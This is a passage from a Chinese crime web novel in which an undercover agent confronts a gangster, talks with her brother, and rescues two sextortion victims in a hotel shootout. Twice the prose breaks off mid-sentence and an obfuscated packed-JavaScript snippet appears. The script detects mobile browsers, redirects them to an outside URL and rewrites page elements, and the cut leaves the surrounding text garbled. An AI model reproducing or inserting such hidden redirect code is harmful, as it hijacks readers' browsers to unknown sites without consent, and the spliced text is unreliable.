她知道程一冉是什么样的人,也知道她们之间不会有多余的情感。就像此刻楼道里的灯光下,她们只是静静地站着,像两块各自尖锐又独立的石头,既不会靠近,也不会后退。 但无论如何,她们都清楚,眼前的敌人是相同的。 “一切小心。” 程一冉的声音很轻,没有多余的起伏,像是路过的风,带着几分不经意,却精准地落在阮云琛的耳边。 阮云琛停住动作,门锁还没来得及转动。她转过头,目光落在程一冉身上。对方已经背靠墙站着,低头看着手里的钥匙,像是什么都没发生过。 “你也是。”阮云琛淡淡地说,声音平静,几乎没有情绪波动。 两人不再多说什么。灯光下的影子短暂地重叠了一瞬,然后各自归于沉寂。 警方安排的小公司行动倒也迅速,这宋祈刚一冒头,公司那边很快就出现了“变故”,迅速,又合情合理。 贸易公司裁员的消息从内部传出时,阮云琛是第一个被叫进办公室的。 经理的脸色比平时更苍白了一些,他语气诚恳,却掩盖不了那些话本身的冷漠:“这不是你的问题,公司运营不善,我们也很为难……” 没过多久,这个消息便传到了该传到的地方。 宋祈的消息网络虽不如过去敏锐,却依旧够快。 他没有出现在公司门口,也没有派人直接找上门。 相反,几个模糊的身影开始在旧楼附近活动,既不张扬,也不刻意。但只要稍微留意,就能感受到那几道自认为藏匿得很好的窥探。 从失业到再见宋祈,整整过去了四十二天。 阮云琛每天都会出门,拿着一份打印好的简历,走进各种公司、工地、甚至一些小餐馆。 有时她在大厅的候座椅上坐上半小时,有时她会拿着一张表格,在角落填得密密麻麻。到了晚上,她提着空荡荡的塑料袋回到旧楼,拎着邻里熟悉的晚餐,步伐不急不缓,像是一个刚刚结束了一天普通生活的年轻人。 阮云琛很清楚,简历上那些平淡无奇的经历,不会让任何人对她另眼相看。而那些“碰壁”,也不是偶然。 这条街巷,已经开始多了些陌生的面孔。 楼道口的垃圾桶旁,偶尔站着一个低头抽烟的年轻人;对面早点铺的老板,似乎突然对她的行踪特别感兴趣,总是爱拉着她寒暄两句;连巷口的猫,都不知道什么时候多了几双监视的眼睛。 宋祈没有出现,但他的触角已经伸了过来。 时间一天天过去——四十二天,足够让一个普通的失业者失去耐心。 阮云琛却从未有过一丝动摇。 她依旧每天出门,依旧在外人看来像是努力找工作,又屡屡碰壁的普通人。只是,她清楚地知道,这一切都已经落入某些视线中。 第四十三天的那晚,天气沉闷,像是即将下雨的前兆。 阮云琛拎着一个小超市的购物袋,走在回家的路上。她步伐依旧平稳,肩膀微微放松,像是一个没有任何防备的普通人。 楼道口的灯光昏暗,一道熟悉的身影在光影中缓缓浮现。 宋祈站在那里,双手插在口袋里,目光漫不经心地扫过她的方向。等她走近时,他嘴角带着笑,轻轻开口:“又见面了。” 宋祈总是喜欢这样的开场,像是一场早已排练好的戏剧。他站在路灯下,光影切割着他的脸庞,烟头的火光明灭之间,那张脸上带着熟悉的笑意,却让人看不透。 阮云琛脚步一顿,稍稍侧过身,塑料袋在手中微微晃动。 她看着他,短短几秒钟,脑子里闪过了无数的画面。 那是多年前,她站在一群小混混中间,看着他从烟雾缭绕的房间里走出来。 他总是带着这样的笑意,一半玩世不恭,一半冷酷薄情。那时候她不懂,现在却突然觉得,或许他自己也不懂。 宋祈为什么会对她这样执着?阮云琛不知道。 可能是养狗的主人对狗多少会有点感情,即使被咬了也选择原谅。 或者,是比这更复杂的东西——某种不易察觉的执念,一点点不愿放手的惯性。 像是他知道自己的世界黑得连光都不愿进来,于是对她始终留了一点余地。 小时候的她或许不懂,觉得他是矛盾的,是琢磨不透的,甚至带着些莫名的荒谬。 可长大后回头想想,却发现这一切恰如其分——像是黑暗深处,一种无声的试探,一种模糊不清的执着。 这种余地,不是温情,更不是善意。 它介于两者之间,像是他自己都说不清的某种悖论。他要她明白,却又不让她全懂;要她靠近,却又不许她越界。 阮云琛从来不去深究,也不打算弄明白。因为不管答案是什么,她知道自己都不能认同。 “宋先生,”她的声音很轻,“好久不见。” 她低下头,像是无意间避开了他的目光,但身体却没有一丝后退的动作。 宋祈看了她一眼,嘴角的笑意似乎更深了些。他抬手弹了弹烟灰,那一瞬间,火光映在他的眼中,闪过一丝复杂的情绪,却迅速消失得无影无踪。 “我听说,”他的声音低沉,又带着一丝漫不经心,像是关心,又像是挑衅,“你最近过得不太好。” 阮云琛站在几步远的地方,塑料袋的提手绷紧在手指间。她微微抬起眼,看着他,目光平静得像是一汪死水。 “凑合吧。”她回答。 宋祈轻笑了一声,随意地抬起下巴,目光似有若无地落在她身上:“那两个小孩呢?没跟你住一起?” 阮云琛的手指微微一紧,那塑料袋的提手几乎要勒进掌心。但她很快便恢复了冷静,只是目光稍稍偏开,像是藏不住的一点警觉。 ——他不知道。 如果宋祈知道,就不会是这种漫不经心的试探,而是直接开门见山地威胁。他一向如此——精准、狠辣,不会浪费多余的时间。 阮云琛很清楚,宋祈的试探虽然隐晦,但他对局势的掌控力比任何人都强。如果他对阮秋和淼淼有了确切的掌握,她甚至不会有机会站在这里回答这句话。 “秋出国了,”她语气淡淡,像是漫不经心地回应,“学校资助的,全额奖学金,挺好的。” 她稍微顿了顿,又补了一句:“淼淼在外地上学,食宿全包,省了我不少事。” 宋祈闻言,点了点头,眼底却依旧没有什么波动。他没有直接反驳,只是嘴角微微扬起,露出一个让人捉摸不透的笑:“这两个小家伙还挺争气的。” 阮云琛低头“嗯”了一声,不再多说。 片刻的静默后,宋祈转了转手中的烟,却没有点燃,漫不经心地说:“你啊,就别想着什么都藏着掖着了,你该明白,想知道的,总能知道。” 这句话听上去像是威胁,然而他的语气却极为轻松,仿佛只是为了填满这片空气中的空白。 阮云琛抬起眼,目光与他相对,却什么都没说。宋祈的嘴角似乎带着一抹满意的笑意,像是已经笃定了某种答案。 他大概以为眼前的阮云琛还是那个无助的、走投无路的小女孩。一个满心牵挂、浑身都是弱点的旧人,只要稍微施压,就能拿捏得住。 但他或许不知道,人是会成长的。 兔子还有三分脾气,更何况是“野狗”。 她这些年的日子,踩过烂泥,钻过荆棘,咬牙在深渊里熬过长夜,能苟且活着,并不是为了继续被人牵着走。 一时的屈服,未必意味着永远的臣服。阮云琛清楚地知道什么时候该低头,什么时候能翻盘。但宋祈这种人...... 他大概这辈子都不会明白这个道理。 他的骄傲和掌控欲,让他看不见低头的锋利,也听不见沉默里的咆哮。 宋祈没再问什么,而是掏出了打火机,把那根已经被把玩到有些弯折了的烟点燃,夹着烟冲阮云琛挥了挥手,转身离开了。 脚步从容,仿佛刚才不过是一场随意的寒暄。 这之后的事情,像是早已设定好的轨迹。 阮云琛没去找宋祈,宋祈也没急着找她。 他们都明白,主动出击是件危险的事——对猎人如此,对猎物亦然。贸然靠近只会打破那份微妙的平衡,让彼此都更加警惕。 所以,他们选择了保持距离。那是两种截然不同的策略,却都透着相似的克制和算计:时间和空间才是最好的陷阱,谁先耐不住性子,谁就会露出破绽。 但计划已经无声地开始了。 半个月后,阮云琛接到了一个陌生电话。 屏幕上显示的号码她从未见过,但那一瞬间,她的心却莫名地一紧。她知道会有这么一天,只是不知道会以什么方式到来。 对于阮云琛而言,宋祈主动联系并不出人意料,对于住在楼上的程一冉而言,也是如此。 程一冉在楼道里与她短暂的对视中已经做了提醒:这是早晚的事。 阮云琛对此更是早有预料。 她了解宋祈的习惯,也明白他的耐心有限。对于这样一个处于卷土重来的节点上的人而言,信任旧人是最省力的选择。 可警方并不这么认为。 他们最初的计划是为阮云琛制造几场“意外”的邂逅,从工作、生活到社区的每一个细节都布满网点,确保能够吸引宋祈的注意力。 但阮云琛主动提出反对。 她的理由简单直接:“他不会吃这一套。” 她没有多做解释,只是用事实和判断说明,宋祈对任何“巧合”都会本能地怀疑。与其费力制造不必要的漏洞,不如让她自己掌握节奏,循着他的习惯和动机来走。 警方同意了。 有一部分原因是他们的资源确实有限——既没有足够的人手,也没有足够的重视;另一方面,则是出于对程一冉的信任。 作为特警小队的队长,程一冉的任务不仅是潜伏监视,更是对阮云琛行动的一种无形保护。 还有一些无法明说的因素。 潜伏任务本身就带着高风险的不可控性,为了尽可能避免暴露,阮云琛的汇报流程被设置得极为宽松。 她不需要定期提交任何详尽的报告,也不需要在每一次接触后都立刻反馈信息。任务以结果为导向,她的行动被放任到了近乎自由的程度。 从某种意义上来说,警方的态度像是一种放手——不是不关注,而是有意地选择信任。 或许,是因为程一冉站在了这里;或许,是因为廖致远说过的那句:“她比我们更了解宋祈。” 这一切无声地让她孤身一人,也无声地推动着她一步步向前。 电话铃声还在响着,直到那铃声快要断掉前,阮云琛按下了接听键。 电话那头传来的声音低沉而随意:“阮云琛,最近怎么样?找着工作了吗?” 她的指尖在桌面上无意识地敲了敲,像是在压抑某种隐约的不安。对方的语气平和,像是在关心,又像是在闲聊——一种过于熟悉的、刻意让人放松的随意。 “还行。”她平静地回应,目光却紧紧盯着窗外。远处巷口的灯光忽明忽暗,像是某种隐喻。 “别骗我。” 那声音里多了一丝笑意,像是嘲弄,又像是笃定,“我查过了,你最近都在跑面试,可是一个都没成。” 阮云琛没有回答,手指却微微收紧。她知道这不过是宋祈的试探,带着轻描淡写的假关心,却用最直接的方式敲开了她生活的表层。 “怎么,养不起自己了?”他顿了一下,仿佛在等她的反应,却没等到,便自顾自地继续说下去,“这样吧,我有个简单的活儿,想让你帮个忙。不用担心,不是什么麻烦事,就当个差事赚点零花钱。” 他语气随意得像是在拉家常,但她知道,这不是一个选择题。这是一扇被半推半就打开的门,门后是她再熟悉不过的深渊。 “什么活儿?”她终于开口,声音依旧平静,像是早已习惯。 电话那头传来一阵轻笑,没有任何铺垫:“明天晚上,八点,老地方见。” 宋祈的语气没有一丝犹豫,像是在安排一场不容置疑的会面,而不是征求意见。仿佛她的回答已经不重要了,因为在他的剧本里,结局早已写好。 电话挂断了,屋里重新安静下来,只有窗外的风声还在呼啸。 阮云琛放下手机,目光投向窗外——夜色深沉,像是一片看不见边际的海。 宋祈的任务很简单,去某个仓库登记一批货物的入库单。货物明面上是矿泉水,入库记录干净利落,没有一丝纰漏。但她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“姐?”熟悉的声音从听筒里传来,带着一点笑意,像是没经历过等待的漫长。 “嗯。”阮云琛应了一声,手指轻轻转着桌上的笔,目光垂落在面前的文件夹上,却什么都没看进去。 “怎么没接电话?”他问得随意,却有一种不加掩饰的关心。 “刚刚在忙。”她顿了顿,补了一句:“看见了,就回过来了。” 两边陷入短暂的沉默。 听筒里传来一些隐约的键盘敲击声,还有纸张翻动的轻响。阮云琛本能地问了一句:“你在忙吗?” “嗯,工作。”听筒那头传来一阵轻微的键盘敲击声,像是被刻意压低的声音。阮秋笑了笑,语气很轻,“最近找到了一份实习。” “什么工作?”阮云琛停下了手中的动作,眼神稍微抬起了一些。 对面的声音停顿了一下,像是在斟酌,键盘的敲击声也消失了。阮云琛轻轻转了转手中的笔,眼神落在桌上的角落,不自觉地想起很久之前的那通电话。 那时候,阮秋说自己每天早上在咖啡厅打工,语气轻描淡写得像是在说天气。他说薪水不高,但够生活费;工作不累,但每天得早起。阮云琛记得,当时她点了点头,没说话。 他总是这样,报喜不报忧。 他现在已经是大四了。 阮云琛轻轻敲了敲桌面,思绪飘远了一些——这份工作,应该不会只是咖啡厅的兼职了吧? 说不定,是英国当地某家公司的实习,跟专业对口的那种。 阮云琛忽然意识到,她从来没有真正问过他的未来规划,也没有给过他什么明确的建议。 阮秋在她身边长大的时间很多,却总是自己在摸索、在努力。 他从小就是这样。 踏实、勤奋,不需要太多指引,就能找到自己的方向。无论是那时候在学校里,还是后来出国之后,他总是能把生活过得有条不紊。 ……是啊,阮秋一直都很优秀。 “姐?” 那头的声音忽地拉回了阮云琛的思绪。她的指尖停了下来,片刻后才轻轻开口:“没什么,我就是......随口问问。” 阮秋似乎又笑了一下,声音低而柔和:“你不用担心,这份工作……挺有意思的。” 阮云琛的眉头几乎不可察地皱了一下。 她本能地想问,工作是什么?在哪里?忙不忙?有没有危险?可话到嘴边却忽然顿住了。 沉默在两人之间短暂地延续着,她盯着面前的桌角,像是可以从那些浅浅的划痕里看出答案。 有些问题,不是她不能问,而是她不敢问。 并不是害怕答案本身,而是害怕这些问题本身会暴露出什么她试图掩盖的东西——那一点点不该被发现的在意。 过去的那些事,她已经试图让它们随着时间沉淀下去。维持现在的平衡,或许才是最好的方式。 隔了许久,阮云琛才轻轻地“嗯”了一声。 电话那头一时没了声音,只剩下微弱的背景杂音,像是键盘的敲击声也停了下来。 “姐。”阮秋忽然开口,声音很轻,却清晰得像是一道突如其来的雷鸣,直接撞进她的耳朵里,“我很想你。” 阮云琛的手指顿了一下,轻轻按在桌面上,像是要借此稳住自己。可那指尖,却因为力道太轻,连桌面上的灰尘都没有擦动。 他这句话说得轻描淡写,却像是用尽了全部的真心。 阮云琛张了张嘴,想要回应,可喉咙却像被什么堵住了一样,发不出声音。 电话另一端的呼吸声低而平稳,却又像是带着一点隐忍的期待。阮云琛垂下眼,视线落在桌角的一道细痕上,心跳却乱了一瞬。 “你......”她终于开了口,可这一个字出口后,所有的话又卡在了唇边。 她闭了闭眼,指尖在桌面上轻轻滑了一下,试图找到一个可以藏身的出口——可是没有。 思念像潮水一样漫了上来,不是骤然而至,而是像早已积蓄在心底的洪流,终于找到了一个薄弱的堤坝,溢了出来。它扼住了她的呼吸,沉甸甸地压在胸口,让人几乎无法动弹。 阮云琛的手指紧了又紧,想要抓住点什么,却最终只触到了一片冰冷的桌面。 那头的阮秋却依然没有催促,连一丝多余的动静都没有传来,仿佛刻意留出了足够的空间,让她能够从这片汹涌中找到自己的声音。 许久许久,阮云琛才终于抬起了眼,用尽了所有的力量,把那句一直埋在心里的话轻轻吐了出来:“我......也是。” 话出口后,阮云琛觉得整个人都松了一口气,又像是被什么东西压住了胸口。她不确定这句话是不是太直白了,太让人误会了,可她也知道,自己没有别的选择。 电话那头传来一声很轻的笑,笑意里带着点压抑的情绪:“早点休息吧。” “好。”她回答,声音低得几乎听不见。 “晚安,阮云琛。”他说。 电话挂断了。 阮云琛将手机放下,目光落在屏幕逐渐熄灭的光影上。她坐在那里,安静了很久,仿佛刚才的一通电话只是一场无声的梦。 一年半的潜伏,像是一场漫无止境的等待。 她递交的汇报越来越少,能填进去的内容也越来越简短——警方的反馈也一样。 没有新线索,也没有新的方向。时间像是被凝固了一般,停滞在某个看不见的困局里。 不止是阮云琛,警方也同样清楚,这种潜伏任务一旦进入长期阶段,风险只会指数级增加。 直到廖致远提到了“他”。 “你需要一些技术上的协助。”那是一次再普通不过的工作会议之后,廖致远轻描淡写地对她说,“他会为你提供支持。” 对方的代号是“A”。 105. 他 夜色笼罩了城市,霓虹灯在远处的街道上闪烁,像一场没有尽头的虚伪盛宴。 阮云琛站在招待所的门口,手指在口袋里轻轻摩挲着手机边缘。玻璃门反射出她的身影,模糊而沉默。 阮云琛很早就看过这类案件的档案:学生因还不起贷款,被迫签下更高利息的协议,甚至不得不提供一些“保证”—— 那些不堪的照片和视频被称作“抵押品”,却是最恶心的威胁。 宋祈的手法简单,逻辑却极具效率:找到急需用钱的学生,将贷款交到他们手中,然后耐心等待违约。 接下来的步骤就是摧毁——从名誉,到身体,再到尊严:照片泄露、名誉尽毁......而后是更进一步,是身体的彻底控制。 他会将他们彻底地碾碎。 阮云琛垂下眼,看着桌上的合同。纸面光洁,内容却污浊得令人作呕。 过去几年,宋祈的生意变得更加隐蔽。 他逐步从单纯的街头敛财转向了贸易公司和更大规模的资金流转。那些掩藏在复杂账单和公文背后的钱,比从前街头敲诈来的黑钞干净了许多。起码,从外表上看是如此。 可这一切,终究没变。 那些人被他抓住的脆弱本质,那些被利用、被撕裂的年轻生命,还是和当年一样。 胸口像是被什么东西堵住了,阮云琛的目光没有离开合同,却觉得手指微微发凉。 她缓缓呼出一口气,目光扫过纸面那行小字——“提供其他形式的担保”,像是冰冷的嘲讽,一点点蔓延至了全身。 肮脏,不加掩饰地肮脏。 宋祈的手段只变得更加直白了,甚至不用再伪装成什么正当理由。他知道这些人没地方跑,也没人替他们出头。他不需要再多费口舌,光靠绝望就能把这些人捆得死死的。 阮云琛站起来,脚步微微一顿。 她不是没经历过肮脏的事,却是仍旧被深深刺了一下像是重新被揭开了旧伤,一点点撕开那厚实的痂。 那些被自己压进记忆深处的影子,此刻正从缝隙中爬出来,一点一点占据她的思绪。 夜风穿过狭窄的街巷,刮动路边老旧的铁皮招牌,发出令人烦躁的声响。 招待所门口的霓虹灯闪烁不定,像是垂死挣扎的光源。阮云琛推开斑驳的木门,招待所里隐约飘着一股廉价消毒水的气味,混杂着陈年的霉味。 楼梯吱呀作响,墙上的油漆剥落,露出里面的灰色水泥层。 阮云琛走得很轻,却能听见自己的脚步声在狭窄的楼道里回荡。五楼的走廊里灯光昏暗,地板上散落着烟头和一小滩看不清是什么的污渍。 ——房间号是502。 她站在门口敲了敲门,三声,轻而有节奏。 “谁?”里面的声音小得像蚊子嗡嗡,夹杂着一丝明显的颤抖。 “你们的债主派我来的。”阮云琛的语气平淡,没有多余的起伏。 门开了一条缝,两双紧张的眼睛在缝隙里探出来,像受惊的小动物。阮云琛站在原地,目光垂着,没有催促。 几秒钟后,门缓缓打开。 房间里的灯光昏黄,狭小的空间被两张叠起来的单人床和堆满杂物的桌椅占得满满当当。墙上的涂料斑驳脱落,露出一道道深浅不一的裂痕。 一个瘦弱的女孩站在门边,紧紧抓着另一人的手腕,她们的脸上布满了不安和警惕。 阮云琛的目光在她们身上停顿了一秒,落在那双躲闪的眼睛上。 那一瞬间,某些画面猝不及防地涌了上来。 昏暗的走廊,冰冷的水泥地,那时候的灯光也是这样昏黄,空气里甚至隐约能闻到那股难闻的潮气。 年幼的她也曾这样站在门后,眼睛里充满警惕,却掩不住心底的惧意。 她记得自己用力抓着阮淼淼的手腕,力气大得像是要把所有的恐惧都攥在手心里。 “没事。”那时她对阮淼淼说,声音很轻,却拼命掩盖着颤抖,“不要害怕。” 现实和回忆交叠在一起,让她的指尖微微一紧。她站在原地,像是被困在了时间的裂缝里。 但只是一瞬。 阮云琛迅速回过神,抬手关上门,语气冷静:“坐吧。” 那声音像是在安抚,却带着一股无法拒绝的冷硬。 她没有时间去想太多。 女孩的眼神闪烁了一下,终于小心翼翼地坐回床边,另一人跟着缩成了一团,双手死死抓着自己的包带。 “欠款多少?”她问,目光落在桌上的一叠文件和手机上。 “……三万。”坐在左边的女孩低声回答。 阮云琛扫了一眼,目光在文件上的一张聊天记录截图那儿停了一秒。 截图的内容刺目得令人作呕:裸照,威胁语句,还有一行粗大的红色数字——还款期限的倒计时。 “照片是什么时候发出去的?”阮云琛看向另一人,语气稍稍变得冷了一些。 “上个月......上个月月底。”那个女孩抬头看了她一眼,眼圈发红,“他们说,如果今天还不上钱,就……” 阮云琛没再追问。 她伸手拿过那部手机,手机没有锁屏密码,点开就是□□群聊界面。 那界面还停留在最后一条消息上,显示发送人是一串简短的编号,备注名却赫然带着“和安”两个字。 阮云琛用手背挡住屏幕的光,悄悄打开自己的手机,对准画面拍了一张。 “准备东西。”她忽然开口,“现在收拾,马上走。” 两人愣住了,一时间没明白阮云琛在说什么。 “听不懂吗?”她目光扫过两人,语气冷硬,像一把压在喉咙上的刀,“赶紧收拾!现在就走!” 狭窄的房间里,瞬间静得只剩下急促的呼吸声。女孩们这才反应过来,慌乱地抓起桌上的手机和包。 阮云琛站在门边,耳机里传来A的声音,平稳而冷静:“已经清理了监控。招待所的监控系统太老旧,楼梯和后门那块没人会注意。” 她低头看了一眼手机屏幕上的线路图,微微点了点头,声音低而简短:“收到。” 灯光昏黄,墙上的阴影像是一道道撕裂的伤口。她偏头看了一眼角落里的两人,压低声音:“跟紧我,别乱跑。” 女孩们抿紧嘴唇,怯生生地点了点头。 阮云琛将门轻轻带上,没有发出一丝声响。她走在最前面,步伐沉稳,像是在衡量每一步的声音是否会引来注意。 走廊的灯光微微闪烁,昏黄的光晕投在墙面上,显得更加破败。瓷砖地板上的脚步声像从地底传来,每一步都带着回声,在狭长的空间里撞来撞去,仿佛无处可逃。 耳机里传来A的声音,语气一贯平静,却让人感到紧绷:“楼梯和后门都被守住了,有六个人。” 阮云琛没回话,目光迅速扫过楼道尽头的两扇门。 女孩们紧挨着站在她身后,低垂的头颅掩不住颤抖的肩膀。空气里充满了她们慌乱的喘息,像是一根快要崩断的弦。 她看了一眼窗户,冷风从窗缝灌进来,带着潮湿的气息。 窗外黑压压一片,隐约有车辆驶过,尾灯在模糊的远方划过一道暗红色的弧线。 五层楼高,如果是她自己,完全可以跳下去。但那两个女孩不行——腿软得连站都站不稳,又怎么可能爬上窗台? 阮云琛将手机调成静音,放进口袋,手指在门把上顿了一下,缓缓扭动。 她的目光依旧锁定在前方,声音低沉而冷静:“等会儿照我说的做,听明白了吗?” 女孩们点点头,但眼神里的慌乱却出卖了她们。她们紧攥着自己的背包带,指节发白,像是在死死抓住最后一点希望。 耳机里再次传来A的声音,他的语速比平时快了一些:“后门暂时没人,但前面的人随时可能动,你必须……” “我知道。”她打断了他,声音平静得像是湖面,但握在门把上的手却稍稍收紧。 就在这时,一声低沉的咒骂突然从走廊尽头传来,像刀锋劈开了空气的静止。 “屮你.妈.的阮云琛!” 那声音像是一把匕首,带着破空的凌厉,刺进了每一个人的耳膜。走廊的回声拖长了音调,显得愈发刺耳。 女孩们猛地绷直了身体,几乎要尖叫出声。阮云琛一把将两人拨去了自己身后,她们双手抱着背包,指尖几乎要陷进布料里。 阮云琛稍微侧了侧身,借着余光扫了一眼身后的人影。 ——来人是一个叫徐七的男人,宋祈惯来叫他阿七。 阮云琛知道他。 无数次跟踪,无数次监视,永远都是这个阿七在向宋祈打报告。 她和他打过几次照面,每一次都带着几分不善。那双吊梢眼永远透着一种阴冷,像是一条潜伏在水底的蛇,盯着猎物,一眨不眨。他总喜欢捏着下巴上的羊角胡,用力地捻来捻去,仿佛要把它捻成某种凶器。嘴角挂着半分笑意,却让人觉得遍体生寒。 阿七的阴狠与宋祈的冷静形成了某种鲜明的对比。前者就像一把时刻被磨利的刀,稍不顺心便能刺下去,带着一股无所顾忌的狠劲。阮云琛不止一次在他那张脸上看到试探的敌意,每一次,她都假装看不见。 可这一次,他没有再藏着掖着。 续着羊角胡的男人领着人走过来,动作大得像是生怕别人看不见似的。他手里的枪晃了一下,明晃晃地带着威胁,羊角胡被他捻得更加急躁。 “阮云琛。”他的声音里带着一种刻意压低的冷意,像是在享受揭穿前的快感,“你以为你能躲到什么时候?” 阮云琛没回答,只是将女孩们轻轻推了一把,示意她们靠近墙边。她的眼神平静,像是在打量一件摆在面前的商品。 “别装了。”阿七继续说,眼神里多了一层得意,“你他妈的,不是大哥的人!你就是条子!” 这句话一出口,整个走廊似乎都静了一瞬。 阮云琛看了他一眼,嘴角扬起了一点微不可察的弧度,仿佛是某种无声的嘲讽。她没有急着反驳,也没有急着解释,而是轻轻将手插进口袋,动作显得随意而漫不经心。 “你怎么知道的?”她终于开了口,语气淡得像是在聊天气。 阿七的脸抽动了一下,羊角胡在他指间抖了抖,像是在给他的愤怒加码。他的目光扫过阮云琛,又落到她身后的女孩身上,声音拔高了一点:“你他妈带着人往外走,以为我看不出来?从进这个招待所开始,你的每一步,我都盯着呢!” 阮云琛轻轻挑了挑眉,目光像刀子一样扫过他,嘴角冷冷地勾起一点弧度:“看出来了?那你可真不容易。”她的话不急不慢,语气平淡得让人发毛。 阿七的脸瞬间涨红,眼神里多了一分歇斯底里的狠劲。他咬着牙,猛地抬起枪口,枪口直指阮云琛的胸口。 “屮.你.妈的,我今天就送你下去!”话音刚落,扳机被拉动,枪声在走廊里炸裂开来。 砰—— 枪声炸裂开来,像是一记惊雷,将整个楼道都震得颤了一下。阮云琛猛地侧身,拉着女孩们往房间退去,子弹擦过墙壁,溅起一片灰尘。 “蹲下!”她低声吼了一句,将女孩们死死按在墙角。她一脚踹开桌子,翻倒的桌面挡在她们身前,成了临时的掩体。 “你们乖乖待着,别乱动。”她的声音不大,却压得住慌乱的气氛。 女孩们的眼睛里涌满了泪水,手紧紧捂住嘴,像是在拼命压抑即将脱口而出的尖叫。她们的肩膀微微发抖,背靠在冰冷的墙面上,脚步下意识地往后挪,却无处可退。 耳机里传来A的声音,急促而清晰:“阮云琛,你的情况?” 阮云琛没空理睬。 走廊里的空气像是凝固了一样,窒息得让人喘不过气。阮云琛握紧了女孩们的肩膀,声音低哑却坚定:“待会我给你们指令,你们就跑。” 女孩们的脸上满是慌乱和泪水,却还是咬着牙点了点头。 阮云琛打开耳机的通讯,低声问道:“逃生门?” A的声音迅速传来,带着一贯的冷静:“逃生门还有两分钟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15284060|158973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的空档,快送她们过去。” 阮云琛没有犹豫,推着女孩们往后门跑去。鞋底在地板上摩擦出细微的声响,仿佛每一步都踩在刀尖上。 身后的脚步声却越来越近,阿七的叫骂声夹杂着咆哮传来:“你跑什么?别让她们跑!把门拦上!” 她猛地拉开逃生门,将两个女孩塞了进去,眼神凌厉地扫过她们:“锁好门,别出来。” 门关上的瞬间,阿七的枪声再一次响起。 砰—— 子弹擦过阮云琛的后背,灼热的痛感瞬间袭来。她低低地闷哼一声,趴在地上迅速翻滚,堪堪避开第二发子弹。 后背的衣服被划开了一道长长的裂口,血迅速渗出,将布料粘在了皮肤上。 “屮.你妈.的阮云琛!” 阿七的咆哮带着怒火,他猛地挥手,手下们齐刷刷地涌上来。阮云琛撑起身体,迅速站稳,手腕一翻,抄起旁边破旧的椅子迎了上去。 第一个人被她狠狠地砸中胸口,痛呼一声倒在地上。 第二个人扑过来的时候,她迅速侧身,一记手肘击中了对方的后颈,硬生生将人压倒在地。 警校四年的严格训练,地下拳场七年的血汗搏斗,全都在这一刻化作了本能。她的每一次出手,都像是经过精准计算的公式,不浪费一分力气,也不留下一点破绽。 可后背的伤口却在提醒她,身体已经不再完好如初。灼热的疼痛蔓延开来,像是警报一般在神经中炸响,让她的动作不可避免地开始迟缓。 阿七见状,狞笑着抬起枪,对准了她的头。 “你完了。”他的声音透着胜券在握的恶毒。 就在这时,一阵刺耳的警报声突然响了起来——火警! 阿七的动作一滞,下意识地转头寻找声音的来源。阮云琛瞅准这个间隙,猛地起身,将旁边的一张桌子掀翻,用力砸向阿七,硬生生将他的枪偏开。 “屮!”阿七暴怒地大吼,试图反扑,却被阮云琛一个低扫腿踹翻在地。 耳机里传来A的声音,急促而又紧绷:“再撑住几秒!我马上到!” 阮云琛没有回答,抬手擦了擦渗进眼角的汗水,目光依旧死死锁定在面前的人身上。 她的动作变得更加干脆,利落地将另一个靠近的壮汉一拳打翻。可余光里,阿七已经从地上爬了起来,脸上写满了暴戾。 突然,酒店的灯光熄灭了。 周围陷入一片死寂的黑暗,只能听见几声粗重的喘息。 阿七粗重的喘息夹杂着低声的咒骂,忽远忽近,在墙壁间反复回荡,像是一把看不见的刀刃,从各个方向逼近:“跑啊,阮云琛,你再跑啊……” 阮云琛靠在墙边,后背的伤口隐隐作痛,血迹湿透了衣料。眼睛适应黑暗还需要一点时间,但她的神经始终紧绷,捕捉着周围的一切动静。 就在这时,她听见背后传来一声极轻的“吱呀”。 逃生门开了......! 阮云琛的肌肉瞬间绷紧,手下意识地伸向腰间的枪套,却在下一秒感到一股力道扯住了她的手臂。 她刚要挣脱,便被那股力道迅速拖进了逃生门的阴影里,身后传来门缓缓合上的声音。 “别动。”熟悉的低语在她耳边响起,带着一丝不容置疑的急促。 门在完全闭合的一瞬间,一束屏幕的冷光点亮了狭小的空间。 “监控瘫痪了。”那声音平静却不失紧张,“报警已经完成,警察五分钟后到。” 阮云琛怔了一瞬。 她的目光落在那人手中的平板上,再慢慢移到他脸上。屏幕的光将他的轮廓映得清晰,那是一张过于熟悉的脸,熟悉到让她的耳鸣和喘息都被硬生生地扯回。 她一时说不出话,只觉得那声音和面孔像一记钝器,从脑海深处重重地敲了下来—— 耳熟到每天每夜都在思念。 周围一片寂静,空气里弥漫着硝烟和汗水的味道。 门后,那束冷光微微晃动了一下。来人站在门口,手里的平板发出轻微的电子音,指尖在屏幕上快速滑动。 “假装酒店客服,疏散楼层,别让人进来。”阮云琛的声音低而冷静,带着不容置疑的决断。 来人抬眼看了她一瞬,目光平静得让人难以捕捉情绪。他什么也没说,迅速转身离开,门在他身后轻轻合上。 阮云琛吸了一口气,额角的汗珠滑下来,落在她握紧的拳头上。伤口的刺痛逐渐变得麻木,她知道现在不是感知疼痛的时候。外面的声音再次传来,杂乱的脚步声和阿七暴怒的吼叫混杂在一起。 她推开门,走了出去。 走廊的灯光还未完全恢复,半明半暗的光影中,她看见两个手下正试图从阿七身边分散开,向走廊两端包抄而来。 阮云琛眯起眼睛,目光锁定了离她最近的那个人。 几秒钟后,她出手了。 